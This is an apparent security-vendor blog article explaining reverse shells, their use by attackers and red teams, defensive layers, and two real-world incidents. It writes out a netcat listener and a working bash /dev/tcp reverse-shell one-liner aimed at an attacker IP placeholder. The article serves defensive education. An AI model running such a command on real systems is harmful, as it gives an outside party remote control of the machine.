Trending keywords: security, cloud, container,
A reverse shell is a shell that is running on one computer but accepts requests and relays the responses to another computer. So it acts on behalf of another computer remotely.
A shell is a computer program that interfaces with the operating system such as the Windows terminal and Bash. Common operations with shells include login/logout, printing process information, accessing/deleting files, and connecting to remote systems.
Keep digging on the basics of reverse shell attacks, including how they manifest and deploy across various platforms, and how you detect and defend against these.
What can you do with a Reverse Shell?
Once they’ve achieved a working reverse shell, adversaries can start executing commands through interactive terminals and utilize various remote services to achieve remote execution. Their attack patterns will depend on their malicious intentions and their ultimate goal.
For example, an attacker might create a listening application (server) on their computer and a shell on the victim’s computer that is instructed to relay all the responses back to the attacker. From the victim’s point of view, the shell just connects to a remote machine as instructed.
The most common exploit is to establish persistence within the system and then try a privilege escalation attack to gain admin access. With admin access, they can attempt exfiltration, disrupt system availability, compromise system integrity, or inject ransomware to demand payment.
Since most server firewall configurations do not explicitly filter outgoing connections, a connection between the target and the attacker often succeeds. It’s a simple yet devastating technique that is the basis of many infamous real-world exploitations.
Reverse Shell vs. Backdoor
At this point, you may be wondering about the difference between a reverse shell and a backdoor. You can use backdoor software to initiate shellcode executions or spread malware, but you’ll first need to gain access to that system. On the other hand, a reverse shell gives the attacker access to a system, then installs a backdoor to pass data through it. Thus, reverse shells and backdoors are related tools that enable secure remote access to a computer.
Since it’s designed to establish a hidden path to the attacker’s machine, backdoor software can be used to open reverse shells. And since a reverse shell is the actual process of establishing an end-to-end connection between two computers, it can be used to install backdoor software.
Common Uses of Reverse Shells
Adversaries typically try to use conventional tools for network communication between infected machines and their exfiltration endpoints. In the absence of such tools, they can attempt to download specially crafted tools that perform a similar job to achieve their goals.
Netcat (or NC) is a command-line interface tool used for reading and writing data between networks. You use Netcat to perform any kind of TCP/UDP operations.
When attackers somehow gain access to a system, they can try to open a reverse shell back to their own controlled network.
For example, an attacker begins by starting a listener on a machine that they own:
$ nc -nvl 80
Then, they run the following command on the victim’s Unix-based system, passing both the attacker’s IP and port:
$ exec 5<>/dev/tcp/<attacker_IP>/80;cat <&5 | while read line; do \$line 2>&5 >&5; doneCode language: HTML, XML (xml)
The above command executes a shell command without creating a new process. It opens a TCP connection to the attacker’s IP and PORT, which accepts and processes requests as they arrive. (Notice that the attacker only needs read/write permissions to the
dev/tcp device driver and uses the
cat Linux commands.) If successful, the attacker can literally install software and run arbitrary commands as if they were logged into the victim’s machine. Quite often, they will install backdoors and establish persistence through the use of automation.
There are multiple variations of this command which you can review on this cheatsheet. In a typical scenario, a script would run all of them at once to maximize effectiveness. They can disconnect at any time, giving operators a headache if they do not prevent the initial access.
Red Team operations
The red team typically thinks like an attacker, and they frequently try to secure enterprise systems through the use of common reverse shell attacks. One example use case is penetration testing, which is a specialized methodology that tries to simulate actual security breaches using the tools and techniques that an adversary would use. Thousands of organizations worldwide have adopted penetration testing techniques (via external entities or bounty hunter programs like HackerOne) to ensure compliance and security readiness.
Another tool that the red team has in its toolbox is the Metasploit framework. This is a leading penetration testing toolkit that has a variety of options with pre- and post-exploitation utilities. With Metasploit, teams can craft special executables that create reverse shells based on a defined configuration.
Metasploit creates a payload handler and an executable payload that you can run on a victim’s machine to create a reverse shell. These Metasploit docs describe this process in detail.
For the red team, the benefit of using Metasploit is that it is a great learning and onboarding tool that teaches advanced techniques without getting stuck on technical details.
Detecting and defending against Reverse Shells
Once you have an understanding of the possible ways an attacker can create reverse shells on a target machine, you can start implementing mitigation techniques.
As a general rule, you should be adding security controls in layers (which we call a defense-in-depth strategy) so that your system can thwart a diverse range of threats. Reverse shell attacks need to be handled in many layers to ensure accurate detection and prevention.
Even with these security controls in place, it is still impossible to completely eliminate the risk (since attackers can use many techniques to create a reverse shell that bypasses them altogether.) With that in mind, let’s explore the primary lines of defense against reverse shells.
Firewall and network security
First of all, you should always create up-to-date firewall rules that are specialized for each server node or application. Blocking all incoming and outgoing traffic except a list of secure nodes is the best first line of defense.
Monitoring and detection
You should be using dedicated monitoring and detection tools (like Falco) that are geared towards accurate and precise runtime security protection. In addition to that, you should frequently monitor network activity to weed out suspicious executions using established security monitoring services.
Host-Based security and container security
Since most reverse shell attacks can use available scripting languages or installed tools, you need to make sure that gaining access to a system by unauthorized means leaves the system in a secure state. Uninstalling unused scripting and compiler toolchains or popular networking tools like Netcat or Socat will make the job of an attacker harder. That way, they won’t be able to execute common reverse shell commands at first sight.
Certain calls to operating system functions or eval statements should be banned in production environments if possible. Consider using security modules like AppArmor, which is a proven and effective security mechanism.
It’s equally helpful to run applications in containers with minimal privileges. For example, you should not run as root, but rather, you should create a user with the fewest privileges needed. Including sidecar processes and using Runtime Application Self-Protection (RASP) software will also provide another layer of defense against unusual execution patterns.
Real-World malware using Reverse Shells
There are numerous ways to use reverse shells for remote attacks and exploitations. Let’s take a closer look at some of the techniques that attackers use to initiate remote connections with reverse shells and also discuss some potential lessons.
In this case, a seemingly legitimate cryptocurrency app (CoinTicker) was attempting to install backdoors behind the scenes. The details of this attack are explained in this analysis from the Malwarebytes blog.
This type of attack consists of publishing an app that offers a useful feature (like displaying the current price of Bitcoin) but secretly uses the host computer as a platform to spread malware. It is very easy for users to fall into this trap if the app looks legitimate. For example, an attacker might purchase a legitimate app and use it for malicious purposes, or a malicious owner might sell an app that includes an exploit that can later be executed when the app has gained some traction. If the user does not at least have up-to-date antivirus software or web protection, they could easily fall victim to such an attack.
Once the malicious app has been installed, it uses a reverse shell to open a connection to the remote command and control center that enrolls the target machine into the pool of infected instances:
Such connections are easy to miss unless the app has specific connection patterns that security monitoring tools can flag. The real lesson here is that you should be extra vigilant when downloading fishy or risky applications that aren’t from an official app store (since most of the time their quality is unknown).
Custom Python backdoor for ESXi Servers
ESXi is a virtualization platform used to run multiple VMs. It is a “Type 1” bare metal hypervisor that runs directly on the host’s hardware to control the hardware. It is utilized in many global businesses and corporations to manage large clusters of VMs at scale.
Since it is a critical piece of infrastructure, it is a serious target for adversaries. If attackers find a way to execute code that ignores ESXi protection mechanisms, they could be able to install backdoors and establish persistence without raising suspicion.
As explained in this detailed incident analysis, an attacker compromised a machine running an ESXi server and injected a Python script to run at startup. Once the script was running on the infected VM, it opened a reverse shell connection using the
netcat tool with a well-known configuration:
The attacker also modified VMware’s reverse proxy configuration at
/etc/vmware/rhttpproxy/endpoints.conf to allow the infected machine to be accessed from outside the network, essentially establishing a reverse connection.
This demonstrates that the complexity and sophistication of those attacks can be devastating for the affected organizations. Attackers can act swiftly and perform malicious tasks right under the noses of security professionals who are responsible for the protection of critical business operations.
In a case like this, it’s important to monitor for unusual file modifications and restrict incoming network connections to a list of well-known hosts. For an even more secure configuration, you can have layered firewalls to provide different levels of security.
If you search the internet, you will find plenty of similar examples of reverse shell attacks. The main characteristic of these attacks is that once the threat actors have established a reverse shell in the system, they can inflict further damage. That’s why it’s so important to prevent access in the first place.
This article explained the basics of reverse shells and how they can be used to infect remote systems. Since reverse shells can open up vulnerable systems to further exploitation, they can be devastating in the hands of the wrong people.
You can help prevent remote code execution and injection, as well as the risks that go along with them, by putting proper security controls in place and following best practices for securing hosts.